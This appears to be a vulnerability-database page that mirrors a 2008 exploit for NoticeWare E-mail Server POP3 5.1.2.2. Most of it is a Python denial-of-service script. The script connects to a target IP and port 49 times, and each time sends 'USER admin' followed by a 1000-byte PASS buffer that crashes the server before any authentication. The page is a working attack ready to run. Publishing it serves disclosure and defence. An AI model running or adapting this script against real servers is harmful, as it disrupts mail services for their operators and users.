Lucene search

K

noticeware5122-dos.txt

🗓️ 10 Oct 2008 00:00:00Reported by rAWjAWType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

NoticeWare E-mail Server (POP3) 5.1.2.2 denial of service (DoS) exploi

Show more
Code
`#!/usr/bin/python  
#################################################################################  
# Software: NoticeWare E-mail Sever (POP3) 5.1.2.2 Pre-Auth DoS #  
# Discovered and Coded by: Paul Hand aka rAWjAW #  
# Blog: http://rawjaw-security.blogspot.com #  
# E-mail: phand3754<at>gmail<dot>com #  
# #  
# Description: NoticeWare E-mail Server has many odd querks about it #  
# This DoS leverages the fact that the POP3 server can only handle #  
# so many exceptions before you get an access violation at 0x00000008 #  
# which is given from an EDX+8 where EDX is 0x00000000. #  
# I've tried many things to get code execution and non are prevalent. #  
# If you fuzz almost any of the commands for the POP3 server you will get it to #  
# crash. Also, if you are authenticated and do "LIST 0.5" (numerous times) you #  
# will get the same access violation you do with this DoS. #  
# #  
#Company Contact Date: 10-3-08 (But still no response) #  
#################################################################################  
import socket  
import sys  
from optparse import OptionParser  
  
usage = "%prog -T <Target_IP> -P <Target_Port>"  
parser = OptionParser(usage=usage)  
parser.add_option("-T", "--target_IP", type="string",  
action="store", dest="IP", help="Target IP Address")  
parser.add_option("-P", "--target_Port", type="int",  
action="store", dest="PORT", help="Target Port Address (usually 110)")  
(options, args) = parser.parse_args()  
IP=options.IP  
PORT=options.PORT  
if not (IP and PORT):  
parser.print_help()  
sys.exit(0)  
  
buffer='\x42'*1000  
  
print "########################################################"  
print "# NoticeWare Email DoS #"  
print "# Written by: Paul Hand aka rAWjAW #"  
print "# #"  
print "# NOTE: The program does not seem to always crash at #"  
print "# the same point for some reason so if the script #"  
print "# hangs because of a \"faulty\" closed connection just #"  
print "# just CTRL+C and that means the POP3 server has been #"  
print "# successfully DoSed. The program will still \"allow\" #"  
print "# connections but they will just hang and cannot be #"  
print "# used. #"  
print "########################################################"  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((IP,PORT))  
s.close()  
except socket.error, message:  
print "Could not make initial connection. Quitting"  
sys.exit(0)  
  
print "Connection to the target successful"  
print "Sending buffers..."  
  
x=1  
while x < 50:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((IP,PORT))  
s.recv(1024)  
#You DO NOT need a vaild username  
s.send('USER admin\r\n')  
s.recv(1024)  
s.send('PASS ' + buffer + '\r\n')  
s.recv(1024)  
s.close()  
x=x+1  
  
print "DoS Successful!"  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
10 Oct 2008 00:00Current
7.4High risk
Vulners AI Score7.4
20
.json
Report